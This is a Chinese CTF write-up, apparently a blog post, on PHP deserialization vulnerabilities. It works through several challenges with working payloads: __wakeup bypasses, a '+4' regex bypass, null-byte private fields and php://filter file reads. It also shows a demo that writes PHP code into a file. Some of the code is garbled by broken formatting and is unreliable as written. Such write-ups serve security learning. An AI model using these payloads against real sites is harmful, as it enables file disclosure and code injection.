PHP序列化以及反序列化漏洞

什么是序列化

  • 对象准换为字符串
  • 持久保存
  • 网络传输

举例:
$s = new Student();//创建一个对象
echo $s->getName()."</br>";//调用类方法
//serialize function
$s_serialize = serialize($s);//对象转化为字符串
print_r($s_serialize);//输出字符串
image.png
最后展现的结果呢
image.png
deelmind
O:7:"Student":1:{s:4:"name";s:8:"deelmind";}

至于什么意思:
O:object 对象
7:对象的长度
“Student”:对象的长度为7,那么这个对象是谁呢也就是Student
1:Student内有一个成员变量
s:String
4:长度
“name”:长度为4的对象是name
同理后面的内容:String类型,长度为8,对象是-deelmind;
变量以及变量名都转换为字符串image.png

反序列化

也就是字符串转化为对象

S t u d e n t = ′ O : 7 : " S t u d e n t " : 1 : s : 4 : " n a m e " ; s : 8 : " d e e l m i n d " ; ′ ; / / Student = 'O:7:"Student":1:{s:4:"name";s:8:"deelmind";}'; // Student=O:7:"Student":1:s:4:"name";s:8:"deelmind";;//Student = $_GET[‘s’];
s u n s e r i a l i z e = u n s e r i a l i z e ( s_unserialize= unserialize( sunserialize=unserialize(Student);
print_r($s_unserialize);
echo “”;

image.png
反序列化漏洞也就是在执行反序列函数时,unserialize() 会检查是否存在一个 __wakeup()魔术方法
如果存在则会先调用__wakeup()方法在进行反序列化
可以再__wakeup()方法中对属性进行初始化或者改变。

可利用函数:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__construct() //当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

function __wakeup(){
echo “__wakeup”."";
echo $this->name."";

        $myfile=fopen("XLH11.php", "w") or die("Unable to open file!");//打开xlh11.php,如果不存在则关闭


        fwrite($myfile,$this->name);//写入


        fclose($myfile);//写入后关闭文件


        echo "</br>";
   }

image.png

image.png

写入phpinfo()
image.png
image.png

已经写入
$Student`` = ``'O:7:"Student":1:{s:4:"name";s:18:"<?php phpinfo() ?>";}'``;
当写入这样的一段函数,则会显示对方的一些信息

image.png

这里补充一个内容:
image.png

做题练习:

攻防世界unserialize3

image.png

进入页面看到这是一个关于xctf对象定义,以及__wakeup()函数可想而知,这是一道PHP反序列化
由于wakeup()函数在执行unserialize()反序列化时会先调用,如果函数被调用就看不到flag,因此需要绕过这个函数,使对象数大于实际对象数就可以了,先将对象序列化后得到的字符串,传递给code就可以了

序列化对象:image.png

构造payload:?code=O:4:"xctf":``**2**``:{s:4:"flag";s:3:"111";}
这里对象数要大于实际数
image.png

攻防世界Web_php_unserialize

image.png
是的,这又是一道PHP反序列化的题,在Demo对象中有一个file的字段,其中存储的是网页的某个php文件

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>

代码中提示正确的答案存在于fl4g.php中,那么也就是说在Demo中有一个存在一个file的字段,字段存储的内容是:fl4g.php
序列化
image.pngO:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
然后继续
if (isset($_GET['var'])) { //GET型传参,参数是var $var = base64_decode($_GET['var']); //对参数进行base64编码 if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match函数进行正则匹配,匹配的字符串是'/[oc]:\d+:/i' die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); }

其中'/[oc]:\d+:/i'也就是在不区分大小写的情况下匹配 “o:数字” 或者 "c:数字’ 的字符串。也就是说,如果我们直接把上述字符串传上去,会被过滤掉
第一步:绕过的方式是使用 “4” 的同义表示方法 “+4”
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
第二步:绕过wakeup函数使对象数大于实际数
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
第三步:进行base64编码
TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
payload:index.php?var=``TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

[极客大挑战 2019]PHP

image.png
存在源码泄露,www.zip,拿到源代码,也可以对后台目录进行扫描
image.png

查看源码
class.php
<?php
include`` ``'flag.php'``;
error_reporting``(``0``);
class`` ``Name``{
``private`` ``$username`` = ``'nonono'``;
``private`` ``$password`` = ``'yesyes'``;

``public`` ``function`` ``__construct``(``$username``,``$password``){
``$this``->``username`` = ``$username``;
``$this``->``password`` = ``$password``;
}

``function`` ``__wakeup``(){
``$this``->``username`` = ``'guest'``;
}

``function`` ``__destruct``(){
``if`` (``$this``->``password`` != ``100``) {
``echo`` ``"</br>NO!!!hacker!!!</br>"``;
``echo`` ``"You name is: "``;
``echo`` ``$this``->``username``;``echo`` ``"</br>"``;
``echo`` ``"You password is: "``;
``echo`` ``$this``->``password``;``echo`` ``"</br>"``;
``die``();
}
``if`` (``$this``->``username`` === ``'admin'``) {
``global`` ``$flag``;
``echo`` ``$flag``;
}``else``{
``echo`` ``"</br>hello my friend~~</br>sorry i can't give you the flag!"``;
``die``();


}
}
}
?``>

index.php
<?php
``include`` ``'class.php'``;
``$select`` = ``$_GET``[``'select'``];//创建一个 s e l e c t 变 量 , G E T 型 传 入 参 数 ‘ ‘ ‘ select变量,GET型传入参数 ` `` selectGETres=unserialize(@$select);`//反序列化 `?``>`

审计后题目的重点在于
function`` ``__destruct``(){
``if`` (``$this``->``password`` != ``100``) {``//password=100
``echo`` ``"</br>NO!!!hacker!!!</br>"``;
``echo`` ``"You name is: "``;
``echo`` ``$this``->``username``;``echo`` ``"</br>"``;
``echo`` ``"You password is: "``;
``echo`` ``$this``->``password``;``echo`` ``"</br>"``;
``die``();
}
``if`` (``$this``->``username`` === ``'admin'``) {``//username=admin
``global`` ``$flag``;
``echo`` ``$flag``;

解题思路
一、反序列化字符,其中username=‘admin’,password=100
二、绕过__wakeup函数(提交字符串时__wakeup函数会在Name类反序列时调用,只需要在Name对象销毁前使username=‘admin’,password=100就可以)
时对象数大于实际对象数就可以绕过

序列化:
image.png
O:4:"Name":``2``:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
将对象数改为3
payload:?select=``O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

image.png
错了。。。。有点懵
查看一下大佬的WP
发现在Name的两边有2个空字节,这是因为声明字段时采用的是private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字
段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
所以我们只需要在Name两边加上%00就可以了

payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这样就可以了
image.png

安洵杯 2019]easy_serialize_php

打开之后就可以看到源码

`<?php

f u n c t i o n = @ function = @ function=@_GET[‘f’];

function filter($img){
$filter_arr = array(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’);
f i l t e r = ′ / ′ . i m p l o d e ( ′ ∣ ′ , filter = '/'.implode('|', filter=/.implode(,filter_arr).’/i’;
return preg_replace( f i l t e r , ′ ′ , filter,'', filter,,img);
}

if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …ON){ unset(_SESSION);
}
$_SESSION[“user”] = ‘guest’;
$_SESSION[‘function’] = f u n c t i o n ; e x t r a c t ( function; extract( function;extract(_POST);
if(! f u n c t i o n ) e c h o ′ < a h r e f = " i n d e x . p h p ? f = h i g h l i g h t f i l e " > s o u r c e c o d e < / a > ′ ; i f ( ! function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(! function)echo<ahref="index.php?f=highlightfile">sourcecode</a>;if(!_GET[‘img_path’]){
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);
}else{
S E S S I O N [ ′ i m g ′ ] = s h a 1 ( b a s e 6 4 e n c o d e ( _SESSION['img'] = sha1(base64_encode( SESSION[img]=sha1(base64encode(_GET[‘img_path’]));
}
s e r i a l i z e i n f o = f i l t e r ( s e r i a l i z e ( serialize_info = filter(serialize( serializeinfo=filter(serialize(_SESSION));
if( f u n c t i o n = = ′ h i g h l i g h t f i l e ′ ) h i g h l i g h t f i l e ( ′ i n d e x . p h p ′ ) ; e l s e i f ( function == 'highlight_file'){ highlight_file('index.php'); }else if( function==highlightfile)highlightfile(index.php);elseif(function == ‘phpinfo’){
eval(‘phpinfo();’); //maybe you can find something in here!
}else if($function == ‘show_image’){
u s e r i n f o = u n s e r i a l i z e ( userinfo = unserialize( userinfo=unserialize(serialize_info);
echo file_get_contents(base64_decode($userinfo[‘img’]));
}`

首先根据提示进入?f=phpinfo页面
image.png

发现flag可能存在这个文件内
image.png
但是进不去,因此我们需要读取内容,继续查看源码

image.png
可见是先对 s e r i a l i z e i n f o 反 序 列 化 然 后 在 对 文 件 名 进 行 b a s e 64 编 码 , 然 后 读 取 文 件 但 是 这 里 是 先 对 serialize_info反序列化然后在对文件名 进行base64编码,然后读取文件 但是这里是先对 serializeinfobase64_SESSION进行序列化,然后在回到 i m g 函 数 内 进 行 过 滤 然 后 再 是 进 行 反 序 列 化 , 这 样 就 产 生 了 一 个 问 题 , 过 滤 函 数 会 替 换 掉 一 些 关 键 词 , 这 样 就 会 造 成 反 序 列 化 的 对 象 逃 逸 问 题 。 我 们 就 可 以 通 过 构 造 , 将 ‘ img函数内进行过滤然后再是进行反序列化, 这样就产生了一个问题,过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题。我们就可以通过构造,将` imguserinfo[‘img’]`的内容改为d0g3_f1ag.php的base64编码值,即可将d0g3_f1ag.php的内容读出来了。

BUU[网鼎杯 2020 青龙组]AreUSerialz

上源码

<?php

include``(``"flag.php"``);

highlight_file``(``__FILE__``);

class`` ``FileHandler`` {

``protected`` ``$op``;
``protected`` ``$filename``;
``protected`` ``$content``;

``function`` ``__construct``() {
``$op`` = ``"1"``;
``$filename`` = ``"/tmp/tmpfile"``;
``$content`` = ``"Hello World!"``;
``$this``->``process``();
}

``public`` ``function`` ``process``() {
``if``(``$this``->``op`` == ``"1"``) {``//使用弱类型比较==判断op的值是否等于字符串2,
``//如果为2,则执行read()方法与output()方法
``$this``->``write``();
} ``else`` ``if``(``$this``->``op`` == ``"2"``) {
``$res`` = ``$this``->``read``();
``$this``->``output``(``$res``);
} ``else`` {
``$this``->``output``(``"Bad Hacker!"``);
}
}

``private`` ``function`` ``write``() {
``if``(``isset``(``$this``->``filename``) && ``isset``(``$this``->``content``)) {
``if``(``strlen``((``string``)``$this``->``content``) > ``100``) {
``$this``->``output``(``"Too long!"``);
``die``();
}
``$res`` = ``file_put_contents``(``$this``->``filename``, ``$this``->``content``);
``if``(``$res``) ``$this``->``output``(``"Successful!"``);
``else`` ``$this``->``output``(``"Failed!"``);
} ``else`` {
``$this``->``output``(``"Failed!"``);
}
}

``private`` ``function`` ``read``() {``//read()方法中,使用file_get_contents()函数读取属性filename路径的文件
``$res`` = ``""``;
``if``(``isset``(``$this``->``filename``)) {
``$res`` = ``file_get_contents``(``$this``->``filename``);
}
``return`` ``$res``;
}

``private`` ``function`` ``output``(``$s``) {
``echo`` ``"[Result]: <br>"``;
``echo`` ``$s``;
}

``function`` ``__destruct``() {
``if``(``$this``->``op`` === ``"2"``)``//op使用强类型比较===判断this->op是否等于字符串2然后等于则变为1,
``$this``->``op`` = ``"1"``;
``$this``->``content`` = ``""``;
``$this``->``process``();``//执行process()方法
}

}

function`` ``is_valid``(``$s``) {
``for``(``$i`` = ``0``; ``$i`` < ``strlen``(``$s``); ``$i``++)
``if``(!(``ord``(``$s``[``$i``]) >= ``32`` && ``ord``(``$s``[``$i``]) <= ``125``))
``return`` ``false``;
``return`` ``true``;
}

if``(``isset``(``$_GET``{``'str'``})) { ``//首先通过GET方法获取字符串str,如果str中没有不可打印的字符,
``//则对str反序列化执行

``$str`` = (``string``)``$_GET``[``'str'``];
``if``(``is_valid``(``$str``)) {
``$obj`` = ``unserialize``(``$str``);
}

}

is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。

分析:
一、因此我们需要绕过process()方法判断,令op不为1,_destruct()函数中op=2则会转变为但__desturct函数里的是=== 等号强比较,process()是==弱比较,我们可以传入参数令op为2(只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == "2"则为True,就可以进入read函数。)
二、传入的字符的ascii值要大于等于32且小于等于125,题目中的三个属性都是protected类型的
三、在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。这里的filename是我们可控的,那么可以用php://filter伪协议读取文件。然后使用output函数输出。

构造payload:
image.png

但是结果是带有*号的
前面其实以及遇到过类型的了,这是因为声明变量是使用的是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。

<?php
class`` ``FileHandler``{
``public`` ``$op``=``2``;
``public`` ``$filename``=``"php://filter/read=convert.base64-encode/resource=flag.php"``;
``public`` ``$content``;
}
``$a`` = ``new`` ``FileHandler``();
``echo`` ``serialize``(``$a``);
?``>
image.png

构造payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

额。。。什么也没有怎么回事,查看源代码原来在里面呢!!
image.png

base64解密

image.png

得到flag:flag{bb98cf5c-bb01-4b65-8875-6f4ff5373306}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值